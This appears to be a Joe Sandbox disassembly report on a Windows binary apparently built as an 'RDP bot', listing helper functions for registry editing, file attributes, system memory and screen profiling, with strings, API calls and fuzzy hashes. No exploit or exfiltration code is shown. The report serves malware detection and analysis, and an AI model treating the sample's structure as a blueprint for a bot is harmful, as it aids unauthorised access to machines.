String ID: (key != NULL)$(root != NULL)$(subkey != NULL)$(subkey_len != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$[D] (%s) -> Step(root=0x%p,key=%s,enum_index=%lu,subkey=%s,subkey_len=%llu)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x)$[E] (%s) -> RegEnumKeyExA failed(root=0x%p,key=%s,enum_index=%lu,subkey_len=%llu,res=%lu)$[E] (%s) -> RegOpenKeyExA failed(root=0x%p,key=%s,res=%lu)$[I] (%s) -> Done(root=0x%p,key=%s)$registry_enum_key
API String ID: 1332880857-1739142668
Opcode ID: ec000305f97fcc9b7831efca2c653eed5ef4651eec74f5d45be2df6e378591d6
Instruction ID: 77f0452d1f165861de21f01cf6838826c4c145b26fa9bf7f42b8edb4e27439cd
Opcode Fuzzy Hash: ec000305f97fcc9b7831efca2c653eed5ef4651eec74f5d45be2df6e378591d6
Instruction Fuzzy Hash: 87B1737690C54282F770874DE440B782262AFB8759F5A0133F75ECF6A9DE7CE9A68301

Function 00007FF6BE031849 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 123COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF6BE03186A
GetLastError.KERNEL32 ref: 00007FF6BE03194A

Strings

NULL, xrefs: 00007FF6BE031A7A
P, xrefs: 00007FF6BE0319D3
[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FF6BE03195F
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE0318BE
(attr != NULL), xrefs: 00007FF6BE031920
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FF6BE031A93
, xrefs: 00007FF6BE03196B
c, xrefs: 00007FF6BE031911
(path != NULL), xrefs: 00007FF6BE0318E7
fs_attr_get, xrefs: 00007FF6BE0318B7, 00007FF6BE0318EE, 00007FF6BE031927, 00007FF6BE031958, 00007FF6BE031A8C
~, xrefs: 00007FF6BE0319CE
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0318F5, 00007FF6BE03192E
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE0318E0, 00007FF6BE031919

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: $(attr != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$P$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu)$c$fs_attr_get$~
API String ID: 1799206407-2463373822
Opcode ID: 912818cb803c858290649b2350f006b194764e49bf29187046575fd208de8be6
Instruction ID: 437adcaa0ef716d1c93c8a31813b19ebf2ccd89ec5d7c2c11845e23626524cb0
Opcode Fuzzy Hash: 912818cb803c858290649b2350f006b194764e49bf29187046575fd208de8be6
Instruction Fuzzy Hash: 4D5150A0E0C61B81FA345B4DA940BB82261BF7C794F540133EB5FC6AD0FE6DA9658302

Function 00007FF6BE039048 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 191COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00007FF6BE039079
GetSystemMetrics.USER32 ref: 00007FF6BE03908E
GetLastError.KERNEL32 ref: 00007FF6BE03909F

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

GetLastError.KERNEL32 ref: 00007FF6BE03919C

Strings

(width != NULL), xrefs: 00007FF6BE039120
sys_screen_info, xrefs: 00007FF6BE0390AB, 00007FF6BE0390F7, 00007FF6BE039127, 00007FF6BE039157, 00007FF6BE0391A8
(ratio != NULL), xrefs: 00007FF6BE039150
c, xrefs: 00007FF6BE039141
[E] (%s) -> GetSystemMetrics(SM_CYSCREEN) failed(gle=%lu), xrefs: 00007FF6BE0391AF
[E] (%s) -> GetSystemMetrics(SM_CXSCREEN) failed(gle=%lu), xrefs: 00007FF6BE0390B2
H:/Projects/rdp/bot/codebase/sys.c, xrefs: 00007FF6BE0390E9, 00007FF6BE039119, 00007FF6BE039149
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0390FE, 00007FF6BE03912E, 00007FF6BE03915E
(height != NULL), xrefs: 00007FF6BE0390F0

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ErrorLastMetricsSystem$fflushfwrite
String ID: (height != NULL)$(ratio != NULL)$(width != NULL)$H:/Projects/rdp/bot/codebase/sys.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> GetSystemMetrics(SM_CXSCREEN) failed(gle=%lu)$[E] (%s) -> GetSystemMetrics(SM_CYSCREEN) failed(gle=%lu)$c$sys_screen_info
API String ID: 144387239-4168848430
Opcode ID: eb4690e27fa6215081d6e6de91d6af8b90ce825f0c937a061c463600406fc136
Instruction ID: ad9689b3156f48fb4b283946b361abe6f92d3f5451fe84045baa69c99209a218
Opcode Fuzzy Hash: eb4690e27fa6215081d6e6de91d6af8b90ce825f0c937a061c463600406fc136
Instruction Fuzzy Hash: 6A714950F0C54786FB74975CA904B7972A5EF38749F901033FB0EDA2DADEACA9A49301

Function 00007FF6BE0313B9 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 103COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF6BE0313E6
LoadResource.KERNEL32 ref: 00007FF6BE0313FE

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

GetLastError.KERNEL32 ref: 00007FF6BE0314F8
GetLastError.KERNEL32 ref: 00007FF6BE03152D
GetLastError.KERNEL32 ref: 00007FF6BE031532

Strings

[E] (%s) -> LoadResource failed(hnd=0x%p,gle=%lu), xrefs: 00007FF6BE031542
(out != NULL), xrefs: 00007FF6BE0314DC
H:/Projects/rdp/bot/codebase/module.c, xrefs: 00007FF6BE0314AA, 00007FF6BE0314D5
module_get_version, xrefs: 00007FF6BE03147F, 00007FF6BE0314B8, 00007FF6BE0314E3, 00007FF6BE031506, 00007FF6BE03153B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0314BF, 00007FF6BE0314EA
[E] (%s) -> FindResourceA failed(hnd=0x%p,gle=%lu), xrefs: 00007FF6BE03150D
[I] (%s) -> Done(hnd=0x%p,dwSignature=%08lx,dwStrucVersion=%08lx,dwFileVersionMS=%08lx,dwFileVersionLS=%08lx,dwProductVersionMS=%08lx,dwProductVersionLS=%08lx,dwFileFlagsMask=%08lx,dwFileFlags=%08lx,dwFileOS=%08lx,dwFileType=%08lx,dwFileSubtype=%08lx,dwFileDat, xrefs: 00007FF6BE031486
(hnd != NULL), xrefs: 00007FF6BE0314B1

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ErrorLast$Resource$FindLoadfflushfwrite
String ID: (hnd != NULL)$(out != NULL)$H:/Projects/rdp/bot/codebase/module.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindResourceA failed(hnd=0x%p,gle=%lu)$[E] (%s) -> LoadResource failed(hnd=0x%p,gle=%lu)$[I] (%s) -> Done(hnd=0x%p,dwSignature=%08lx,dwStrucVersion=%08lx,dwFileVersionMS=%08lx,dwFileVersionLS=%08lx,dwProductVersionMS=%08lx,dwProductVersionLS=%08lx,dwFileFlagsMask=%08lx,dwFileFlags=%08lx,dwFileOS=%08lx,dwFileType=%08lx,dwFileSubtype=%08lx,dwFileDat$module_get_version
API String ID: 2123903355-1944070753
Opcode ID: 36d7c1dc9db9ccf4b1edfea7063ef554aa244e211b5bc8d96b098d0b2331572f
Instruction ID: 250d952c378ea516ca58ba6d82791d695f8734baca23527f715370af51a608c8
Opcode Fuzzy Hash: 36d7c1dc9db9ccf4b1edfea7063ef554aa244e211b5bc8d96b098d0b2331572f
Instruction Fuzzy Hash: 56412572A082428AE760CF6CE540A6977B1FB6C794F400236EB5DD3698EF3CE854CB00

Function 00007FF6BE0353F4 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 116registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32 ref: 00007FF6BE03544C
RegCloseKey.ADVAPI32 ref: 00007FF6BE035471

Strings

?, xrefs: 00007FF6BE035430
(key != NULL), xrefs: 00007FF6BE0354D8
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF6BE0354A1, 00007FF6BE0354D1
[E] (%s) -> RegCreateKeyExA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF6BE035549
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0354B6, 00007FF6BE0354E6
NULL, xrefs: 00007FF6BE0355F6
(root != NULL), xrefs: 00007FF6BE0354A8
[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x), xrefs: 00007FF6BE035518
registry_create_key, xrefs: 00007FF6BE035481, 00007FF6BE0354AF, 00007FF6BE0354DF, 00007FF6BE035511, 00007FF6BE035542
[I] (%s) -> Done(root=0x%p,key=%s), xrefs: 00007FF6BE035488

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: CloseCreate
String ID: (key != NULL)$(root != NULL)$?$H:/Projects/rdp/bot/codebase/registry.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x)$[E] (%s) -> RegCreateKeyExA failed(root=0x%p,key=%s,res=%lu)$[I] (%s) -> Done(root=0x%p,key=%s)$registry_create_key
API String ID: 2932200918-412249795
Opcode ID: 6ae6085569b0b128f2829ddf323c1c9bd220a946938d24aec418bc5112106390
Instruction ID: fc412152dcb1f93a338eb4601a224a2f6accbdef62d5ae3a8f0e6cba3351b2ba
Opcode Fuzzy Hash: 6ae6085569b0b128f2829ddf323c1c9bd220a946938d24aec418bc5112106390
Instruction Fuzzy Hash: E6518C62E0C65382FA348B4CE650BB96271AF38798F450232FB4DD76A4DF2CE965C740

Function 00007FF6BE036E31 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 89memorystringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6BE036EF6
GetProcessHeap.KERNEL32 ref: 00007FF6BE036F04
HeapAlloc.KERNEL32 ref: 00007FF6BE036F15
strlen.MSVCRT ref: 00007FF6BE036F33
GetProcessHeap.KERNEL32 ref: 00007FF6BE036F61
HeapFree.KERNEL32 ref: 00007FF6BE036F72

Strings

H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF6BE036E96, 00007FF6BE036EC6
(buf_sz != NULL), xrefs: 00007FF6BE036ECD
(buf != NULL), xrefs: 00007FF6BE036E9D
mem_alloc, xrefs: 00007FF6BE036F80
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE036EAB, 00007FF6BE036EDB
ini_get_bytes, xrefs: 00007FF6BE036EA4, 00007FF6BE036ED4
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF6BE036F87

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Heap$Processstrlen$AllocFree
String ID: (buf != NULL)$(buf_sz != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Memory allocation failed(size=%llu)$ini_get_bytes$mem_alloc
API String ID: 1318626975-3508512667
Opcode ID: 23c25e1e43872f11b7c221eb26cc025d7b25fdb3589f9502fa49bb7de2773936
Instruction ID: 660e75b65e84f976d72f4303e5a14e7a70db450e2864d2b3b882a33b987a84e4
Opcode Fuzzy Hash: 23c25e1e43872f11b7c221eb26cc025d7b25fdb3589f9502fa49bb7de2773936
Instruction Fuzzy Hash: 5E314F61A09A4785FB61DB59E9007B922B0AF78B84F444033FB4D97799EF3CE9258340

Function 00007FF6BE031AA4 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6BE031B7E

Part of subcall function 00007FF6BE031849: GetFileAttributesA.KERNEL32 ref: 00007FF6BE03186A

SetFileAttributesA.KERNEL32 ref: 00007FF6BE031AEB

Strings

[E] (%s) -> Failed(path=%s,attr=%08lx,err=%08x), xrefs: 00007FF6BE031C64
NULL, xrefs: 00007FF6BE031CB4
(path != NULL), xrefs: 00007FF6BE031B10
fs_attr_set, xrefs: 00007FF6BE031B17, 00007FF6BE031B42, 00007FF6BE031B8E, 00007FF6BE031C5D, 00007FF6BE031CC3
[E] (%s) -> SetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FF6BE031B95
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE031B1E, 00007FF6BE031B49
(attr != NULL), xrefs: 00007FF6BE031B3B
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FF6BE031CCA
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE031B09, 00007FF6BE031B34

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: AttributesFile$ErrorLast
String ID: (attr != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,attr=%08lx,err=%08x)$[E] (%s) -> SetFileAttributesA failed(path=%s,gle=%lu)$fs_attr_set
API String ID: 365566950-3523202656
Opcode ID: fba0ecf9b2fd32c2783afca412e872a6bfb29fdb93f941ce1adacbeddb62f5a9
Instruction ID: e29477588a6d77d8ae4dbd7d3256d9acb54da53a2380a720465a9ec39bb5ae3d
Opcode Fuzzy Hash: fba0ecf9b2fd32c2783afca412e872a6bfb29fdb93f941ce1adacbeddb62f5a9
Instruction Fuzzy Hash: ED516B61E1C64786FA709B2CA540AB93270AF7C388F105532FB1EC7695EE2CE865C706

Function 00007FF6BE0351B8 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120registryCOMMON

Download Yara Rule

APIs

RegDeleteKeyExA.ADVAPI32 ref: 00007FF6BE0351DB

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

(key != NULL), xrefs: 00007FF6BE03524D
registry_delete_key, xrefs: 00007FF6BE0351F1, 00007FF6BE035224, 00007FF6BE035254, 00007FF6BE035286, 00007FF6BE0352AD
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF6BE035216, 00007FF6BE035246
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE03522B, 00007FF6BE03525B
u, xrefs: 00007FF6BE03523E
NULL, xrefs: 00007FF6BE0353E8
(root != NULL), xrefs: 00007FF6BE03521D
[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x), xrefs: 00007FF6BE03528D
[E] (%s) -> RegDeleteKeyExA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF6BE0352B4
[I] (%s) -> Done(root=0x%p,key=%s), xrefs: 00007FF6BE0351F8

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Deletefflushfwrite
String ID: (key != NULL)$(root != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x)$[E] (%s) -> RegDeleteKeyExA failed(root=0x%p,key=%s,res=%lu)$[I] (%s) -> Done(root=0x%p,key=%s)$registry_delete_key$u
API String ID: 2939363742-2883486457
Opcode ID: 34cc719e758498ff3f5489aabb9cd898e567fd625eb41d34a7d79cb5500c1887
Instruction ID: b018f581e77ed5fc977d37830963118869ae4db71f34345779f675f1a374d1b9
Opcode Fuzzy Hash: 34cc719e758498ff3f5489aabb9cd898e567fd625eb41d34a7d79cb5500c1887
Instruction Fuzzy Hash: 53416F62E0C51391FA30978CA541BBC62606F39754F590133FF4DEB2B5DE9CADA58381

Function 00007FF6BE034175 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 113fileCOMMON

Download Yara Rule

APIs

UnlockFileEx.KERNEL32(?,?,?,?,?,?,00000000,000002234F5413D0,?,00007FF6BE0389CF,?,?,00000000,00007FF6BE038CE3), ref: 00007FF6BE0341BD
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,000002234F5413D0,?,00007FF6BE0389CF,?,?,00000000,00007FF6BE038CE3), ref: 00007FF6BE0341CE

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000002234F5413D0,?,00007FF6BE0389CF,?,?,00000000,00007FF6BE038CE3), ref: 00007FF6BE034284

Strings

(lock != NULL), xrefs: 00007FF6BE034205
[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu), xrefs: 00007FF6BE034299
((*lock) != INVALID_HANDLE_VALUE), xrefs: 00007FF6BE034236
[E] (%s) -> Failed(lock=%p,err=%08x), xrefs: 00007FF6BE03426F
fs_file_unlock, xrefs: 00007FF6BE0341D7, 00007FF6BE03420C, 00007FF6BE03423D, 00007FF6BE034268, 00007FF6BE034292
[I] (%s) -> Done(lock=%p), xrefs: 00007FF6BE0341DE
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE034213, 00007FF6BE034244
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE0341FE, 00007FF6BE03422F

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: CloseErrorFileHandleLastUnlockfflushfwrite
String ID: ((*lock) != INVALID_HANDLE_VALUE)$(lock != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(lock=%p,err=%08x)$[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu)$[I] (%s) -> Done(lock=%p)$fs_file_unlock
API String ID: 497672076-345319545
Opcode ID: 3554e282eaab8ff449155fc4f431d16e4112704c9d70c85bba0ee0f3199562b2
Instruction ID: a9c3c72ddb8c1269af34ea208c0adea9ec8c0b5e66235a5826f9be5330a8d4b5
Opcode Fuzzy Hash: 3554e282eaab8ff449155fc4f431d16e4112704c9d70c85bba0ee0f3199562b2
Instruction Fuzzy Hash: 8C418F61F0C54391FA30875CE501FBC6231AFB9798F500233E76EAB5E4EE2CA9658301

Function 00007FF6BE038EC2 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 80COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00007FF6BE038EE5
GetLastError.KERNEL32 ref: 00007FF6BE038F2C

Strings

sys_mem_info, xrefs: 00007FF6BE038F12, 00007FF6BE038F37
P, xrefs: 00007FF6BE038FAF
H:/Projects/rdp/bot/codebase/sys.c, xrefs: 00007FF6BE038F04
, xrefs: 00007FF6BE038F4A
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE038F19
[E] (%s) -> GlobalMemoryStatusEx failed(gle=%lu), xrefs: 00007FF6BE038F3E
;, xrefs: 00007FF6BE038EFC
(mi != NULL), xrefs: 00007FF6BE038F0B
~, xrefs: 00007FF6BE038FAA

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ErrorGlobalLastMemoryStatus
String ID: $(mi != NULL)$;$H:/Projects/rdp/bot/codebase/sys.c$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> GlobalMemoryStatusEx failed(gle=%lu)$sys_mem_info$~
API String ID: 3848946878-1815531218
Opcode ID: 64357a0d2701ce6cb47b199e1d8ad9681c7efc84054f499d3512793b06b170f8
Instruction ID: 58311ab411aac1423231efc26c96e487611c711c2d3e27f7daf3bd428d4367e2
Opcode Fuzzy Hash: 64357a0d2701ce6cb47b199e1d8ad9681c7efc84054f499d3512793b06b170f8
Instruction Fuzzy Hash: 10312711E0C28386FB70875C9580B786260AF7C309F615173E70E869D9DE6EAEB5D316

Function 00007FF6BE034972 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 73COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104,?,00000104,RDP-Controller.lock,00007FF6BE034AD5,?,?,?,?,?,000002234F5413D0,00007FF6BE034BE5), ref: 00007FF6BE0349A1
GetLastError.KERNEL32(?,?,00000104,?,00000104,RDP-Controller.lock,00007FF6BE034AD5,?,?,?,?,?,000002234F5413D0,00007FF6BE034BE5), ref: 00007FF6BE0349AC

Strings

fs_module_path, xrefs: 00007FF6BE0349C4, 00007FF6BE0349FD, 00007FF6BE034A31, 00007FF6BE034A61, 00007FF6BE034A94
(hnd != NULL), xrefs: 00007FF6BE034A2A
[E] (%s) -> Failed(hnd=0x%p,err=%08x), xrefs: 00007FF6BE034A04
[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu), xrefs: 00007FF6BE0349CB
(path != NULL), xrefs: 00007FF6BE034A5A
RDP-Controller.lock, xrefs: 00007FF6BE034972
(path_sz != NULL), xrefs: 00007FF6BE034A8D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE034A38, 00007FF6BE034A68, 00007FF6BE034A9B
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE034A23, 00007FF6BE034A53, 00007FF6BE034A86

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: (hnd != NULL)$(path != NULL)$(path_sz != NULL)$H:/Projects/rdp/bot/codebase/fs.c$RDP-Controller.lock$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(hnd=0x%p,err=%08x)$[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu)$fs_module_path
API String ID: 2776309574-725851072
Opcode ID: 73dc7f982d333ff26df20f3414a7d8ae82d516df5c2918ed58daea4cf099c28a
Instruction ID: f3e4cfbddce2d94f6e378a84dadebeee7736c21f1d85f3f4402cab6522143c5f
